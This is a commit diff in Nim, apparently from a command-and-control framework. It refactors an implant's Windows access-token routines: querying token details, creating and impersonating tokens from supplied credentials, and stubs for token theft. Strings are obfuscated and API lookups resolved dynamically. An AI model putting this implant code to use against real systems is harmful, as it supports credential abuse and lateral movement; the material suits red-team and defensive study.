Reworked token functions.
This commit is contained in:
@@ -76,21 +76,15 @@ proc privilegeToString(luid: PLUID): string =
|
|||||||
#[
|
#[
|
||||||
Retrieve and return information about an access token
|
Retrieve and return information about an access token
|
||||||
]#
|
]#
|
||||||
proc getTokenInfo*(hToken: HANDLE): string =
|
|
||||||
|
proc getTokenStatistics(hToken: HANDLE): tuple[tokenId, tokenType: string] =
|
||||||
var
|
var
|
||||||
status: NTSTATUS = 0
|
status: NTSTATUS = 0
|
||||||
returnLength: ULONG = 0
|
returnLength: ULONG = 0
|
||||||
|
|
||||||
pStats: TOKEN_STATISTICS
|
pStats: TOKEN_STATISTICS
|
||||||
pUser: PTOKEN_USER
|
|
||||||
pGroups: PTOKEN_GROUPS
|
|
||||||
pPrivileges: PTOKEN_PRIVILEGES
|
|
||||||
|
|
||||||
let pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQueryInformationToken")))
|
let pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQueryInformationToken")))
|
||||||
|
|
||||||
#[
|
|
||||||
Token statistics
|
|
||||||
]#
|
|
||||||
status = pNtQueryInformationToken(hToken, tokenStatistics, addr pStats, cast[ULONG](sizeof(pStats)), addr returnLength)
|
status = pNtQueryInformationToken(hToken, tokenStatistics, addr pStats, cast[ULONG](sizeof(pStats)), addr returnLength)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, protect("NtQueryInformationToken - Token Statistics ") & $status.toHex())
|
raise newException(CatchableError, protect("NtQueryInformationToken - Token Statistics ") & $status.toHex())
|
||||||
@@ -99,12 +93,16 @@ proc getTokenInfo*(hToken: HANDLE): string =
|
|||||||
tokenType = if cast[TOKEN_TYPE](pStats.TokenType) == tokenPrimary: protect("Primary") else: protect("Impersonation")
|
tokenType = if cast[TOKEN_TYPE](pStats.TokenType) == tokenPrimary: protect("Primary") else: protect("Impersonation")
|
||||||
tokenId = cast[uint32](pStats.TokenId).toHex()
|
tokenId = cast[uint32](pStats.TokenId).toHex()
|
||||||
|
|
||||||
result &= fmt"TokenID: 0x{tokenId}" & "\n"
|
return (tokenId, tokenType)
|
||||||
result &= fmt"Type: {tokenType}" & "\n"
|
|
||||||
|
proc getTokenUser(hToken: HANDLE): tuple[username, sid: string] =
|
||||||
#[
|
var
|
||||||
Token user information
|
status: NTSTATUS = 0
|
||||||
]#
|
returnLength: ULONG = 0
|
||||||
|
pUser: PTOKEN_USER
|
||||||
|
|
||||||
|
let pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQueryInformationToken")))
|
||||||
|
|
||||||
status = pNtQueryInformationToken(hToken, tokenUser, NULL, 0, addr returnLength)
|
status = pNtQueryInformationToken(hToken, tokenUser, NULL, 0, addr returnLength)
|
||||||
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
|
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
|
||||||
raise newException(CatchableError, protect("NtQueryInformationToken - Token User [1] ") & $status.toHex())
|
raise newException(CatchableError, protect("NtQueryInformationToken - Token User [1] ") & $status.toHex())
|
||||||
@@ -118,12 +116,16 @@ proc getTokenInfo*(hToken: HANDLE): string =
|
|||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, protect("NtQueryInformationToken - Token User [2] ") & $status.toHex())
|
raise newException(CatchableError, protect("NtQueryInformationToken - Token User [2] ") & $status.toHex())
|
||||||
|
|
||||||
result &= fmt"User: {sidToName(pUser.User.Sid)}" & "\n"
|
return (sidToName(pUser.User.Sid), sidToString(pUser.User.Sid))
|
||||||
result &= fmt"SID: {sidToString(pUser.User.Sid)}" & "\n"
|
|
||||||
|
proc getTokenGroups(hToken: HANDLE): string =
|
||||||
|
var
|
||||||
|
status: NTSTATUS = 0
|
||||||
|
returnLength: ULONG = 0
|
||||||
|
pGroups: PTOKEN_GROUPS
|
||||||
|
|
||||||
|
let pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQueryInformationToken")))
|
||||||
|
|
||||||
#[
|
|
||||||
Groups
|
|
||||||
]#
|
|
||||||
status = pNtQueryInformationToken(hToken, tokenGroups, NULL, 0, addr returnLength)
|
status = pNtQueryInformationToken(hToken, tokenGroups, NULL, 0, addr returnLength)
|
||||||
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
|
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
|
||||||
raise newException(CatchableError, protect("NtQueryInformationToken - Token Groups [1] ") & $status.toHex())
|
raise newException(CatchableError, protect("NtQueryInformationToken - Token Groups [1] ") & $status.toHex())
|
||||||
@@ -145,9 +147,14 @@ proc getTokenInfo*(hToken: HANDLE): string =
|
|||||||
for i, group in groups.toOpenArray(0, int(groupCount) - 1):
|
for i, group in groups.toOpenArray(0, int(groupCount) - 1):
|
||||||
result &= fmt" - {sidToString(group.Sid):<50} {sidToName(group.Sid)}" & "\n"
|
result &= fmt" - {sidToString(group.Sid):<50} {sidToName(group.Sid)}" & "\n"
|
||||||
|
|
||||||
#[
|
proc getTokenPrivileges(hToken: HANDLE): string =
|
||||||
Privileges
|
var
|
||||||
]#
|
status: NTSTATUS = 0
|
||||||
|
returnLength: ULONG = 0
|
||||||
|
pPrivileges: PTOKEN_PRIVILEGES
|
||||||
|
|
||||||
|
let pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQueryInformationToken")))
|
||||||
|
|
||||||
status = pNtQueryInformationToken(hToken, tokenPrivileges, NULL, 0, addr returnLength)
|
status = pNtQueryInformationToken(hToken, tokenPrivileges, NULL, 0, addr returnLength)
|
||||||
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
|
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
|
||||||
raise newException(CatchableError, protect("NtQueryInformationToken - Token Privileges [1] ") & $status.toHex())
|
raise newException(CatchableError, protect("NtQueryInformationToken - Token Privileges [1] ") & $status.toHex())
|
||||||
@@ -171,6 +178,18 @@ proc getTokenInfo*(hToken: HANDLE): string =
|
|||||||
result &= fmt" - {privilegeToString(addr priv.Luid):<50} {enabled}" & "\n"
|
result &= fmt" - {privilegeToString(addr priv.Luid):<50} {enabled}" & "\n"
|
||||||
|
|
||||||
|
|
||||||
|
proc getTokenInfo*(hToken: HANDLE): string =
|
||||||
|
let (tokenId, tokenType) = hToken.getTokenStatistics()
|
||||||
|
result &= fmt"TokenID: 0x{tokenId}" & "\n"
|
||||||
|
result &= fmt"Type: {tokenType}" & "\n"
|
||||||
|
|
||||||
|
let (username, sid) = hToken.getTokenUser()
|
||||||
|
result &= fmt"User: {username}" & "\n"
|
||||||
|
result &= fmt"SID: {sid}" & "\n"
|
||||||
|
|
||||||
|
result &= hToken.getTokenGroups()
|
||||||
|
result &= hToken.getTokenPrivileges()
|
||||||
|
|
||||||
proc impersonateToken*(hToken: HANDLE) =
|
proc impersonateToken*(hToken: HANDLE) =
|
||||||
discard
|
discard
|
||||||
|
|
||||||
@@ -184,9 +203,9 @@ proc impersonateToken*(hToken: HANDLE) =
|
|||||||
Using other logon types (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types)
|
Using other logon types (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types)
|
||||||
changes the output of the getTokenOwner function. The credentials are then validated by the LogonUserA function.
|
changes the output of the getTokenOwner function. The credentials are then validated by the LogonUserA function.
|
||||||
]#
|
]#
|
||||||
proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS): bool =
|
proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS): string =
|
||||||
if username == "" or password == "" or domain == "":
|
if username == "" or password == "" or domain == "":
|
||||||
return false
|
raise newException(CatchableError, protect("Invalid format."))
|
||||||
|
|
||||||
var
|
var
|
||||||
hToken: HANDLE
|
hToken: HANDLE
|
||||||
@@ -194,19 +213,19 @@ proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_L
|
|||||||
|
|
||||||
let provider: DWORD = if logonType == LOGON32_LOGON_NEW_CREDENTIALS: LOGON32_PROVIDER_WINNT50 else: LOGON32_PROVIDER_DEFAULT
|
let provider: DWORD = if logonType == LOGON32_LOGON_NEW_CREDENTIALS: LOGON32_PROVIDER_WINNT50 else: LOGON32_PROVIDER_DEFAULT
|
||||||
if LogonUserA(username, domain, password, logonType, provider, addr hToken) == FALSE:
|
if LogonUserA(username, domain, password, logonType, provider, addr hToken) == FALSE:
|
||||||
return false
|
raise newException(CatchableError, $GetLastError())
|
||||||
defer: CloseHandle(hToken)
|
defer: CloseHandle(hToken)
|
||||||
|
|
||||||
if DuplicateTokenEx(hToken, TOKEN_QUERY or TOKEN_IMPERSONATE, NULL, securityImpersonation, tokenImpersonation, addr hImpersonationToken) == FALSE:
|
if DuplicateTokenEx(hToken, TOKEN_QUERY or TOKEN_IMPERSONATE, NULL, securityImpersonation, tokenImpersonation, addr hImpersonationToken) == FALSE:
|
||||||
return false
|
raise newException(CatchableError, $GetLastError())
|
||||||
|
|
||||||
# Revert to self before impersonation
|
# Revert to self before impersonation
|
||||||
discard RevertToSelf()
|
discard RevertToSelf()
|
||||||
if ImpersonateLoggedOnUser(hImpersonationToken) == FALSE:
|
if ImpersonateLoggedOnUser(hImpersonationToken) == FALSE:
|
||||||
CloseHandle(hImpersonationToken)
|
CloseHandle(hImpersonationToken)
|
||||||
return false
|
raise newException(CatchableError, $GetLastError())
|
||||||
|
|
||||||
return true
|
return hToken.getTokenUser.username
|
||||||
|
|
||||||
proc tokenSteal*(pid: int): bool =
|
proc tokenSteal*(pid: int): bool =
|
||||||
discard
|
discard
|
||||||
|
|||||||
@@ -182,7 +182,6 @@ proc main(ip: string = "localhost", port: int = 37573) =
|
|||||||
sessionsTable.agentImpersonation[agentId] = impersonationToken
|
sessionsTable.agentImpersonation[agentId] = impersonationToken
|
||||||
|
|
||||||
of CLIENT_REVERT_TOKEN:
|
of CLIENT_REVERT_TOKEN:
|
||||||
echo event.data["agentId"].getStr()
|
|
||||||
sessionsTable.agentImpersonation.del(event.data["agentId"].getStr())
|
sessionsTable.agentImpersonation.del(event.data["agentId"].getStr())
|
||||||
|
|
||||||
else: discard
|
else: discard
|
||||||
|
|||||||
@@ -61,7 +61,7 @@ when defined(agent):
|
|||||||
|
|
||||||
var success: bool
|
var success: bool
|
||||||
var logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS
|
var logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS
|
||||||
let
|
var
|
||||||
username = Bytes.toString(task.args[0].data)
|
username = Bytes.toString(task.args[0].data)
|
||||||
password = Bytes.toString(task.args[1].data)
|
password = Bytes.toString(task.args[1].data)
|
||||||
|
|
||||||
@@ -73,8 +73,9 @@ when defined(agent):
|
|||||||
if task.argCount == 3:
|
if task.argCount == 3:
|
||||||
logonType = cast[DWORD](Bytes.toUint32(task.args[2].data))
|
logonType = cast[DWORD](Bytes.toUint32(task.args[2].data))
|
||||||
|
|
||||||
if not makeToken(userParts[1], password, userParts[0], logonType):
|
let impersonationUser = makeToken(userParts[1], password, userParts[0], logonType)
|
||||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(protect("Failed to create token.")))
|
if logonType != LOGON32_LOGON_NEW_CREDENTIALS:
|
||||||
|
username = impersonationUser
|
||||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}."))
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}."))
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
|
|||||||
Reference in New Issue
Block a user